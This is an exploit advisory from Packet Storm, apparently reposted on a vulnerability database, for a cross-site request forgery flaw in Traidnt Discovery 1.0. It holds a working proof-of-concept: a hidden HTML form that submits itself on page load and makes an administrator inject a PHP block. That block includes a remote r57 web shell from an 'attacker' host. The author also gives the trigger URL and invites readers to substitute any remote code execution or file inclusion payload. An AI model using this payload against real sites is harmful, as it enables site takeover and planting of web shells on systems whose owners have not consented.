Traidnt Discovery Code Execution / Cross Site Request Forgery

🗓️ 14 Jun 2010 00:00:00Reported by G0D-F4Th3rType

packetstorm🔗 packetstormsecurity.com👁 20 Views

Traidnt Discovery Code Execution and Cross Site Request Forgery vulnerability in [CSRF] inject Blocks with PHP Code

`  
  
# Exploit Title: Traidnt Discovery - [CSRF] inject Blocks With PHP Codes  
# Date: 11-06-2010  
# Author: G0D-F4Th3r  
# Software Link: http://discovery.traidnt.com/demo/  
# Version: 1.0  
# Tested on: http://discovery.traidnt.com/demo/  
  
====================================[form]================================================  
<html>  
<form name="r00t" action="  
http://site/[path]/admincp/blocks.php?do=addnew&go=insert" method="POST">  
<body onload="document.forms.r00t.submit();">  
<input type="hidden" name="name" value="G0D-F4Th3r"/>  
<input type="hidden" name="display" value="1"/>  
<input type="hidden" name="place" value="0"/>  
<input type="hidden" name="php" value="1"/>  
<input type="hidden" name="view" value="0"/>  
<input type="hidden" name="author" value="G0D-F4Th3r"/>  
<input type="hidden" name="link" value="http://site/[path]/"/>  
<input type="hidden" name="code" value="{  
if($_GET['ss']=="sn"){  
include('http://attacker/r57.txt');  
}  
}"/>  
</form>  
</html>  
====================================  
After that open your code :  
http://site/[path]/index.php?ss=sn  
====================================  
Attention:  
You can change this  
{  
if($_GET['ss']=="sn"){  
include('http://attacker/r57.txt');  
}  
}  
to any code with Remote code execution or Local File Inclusion  
It depends to what you like :)  
  
====================================  
Greetz to : AL-MoGrM - dEvIL NeT - Bad hacker - v4-team members - And All My  
Friends  
  
  
  
`

14 Jun 2010 00:00Current

0.1Low risk

Vulners AI Score0.1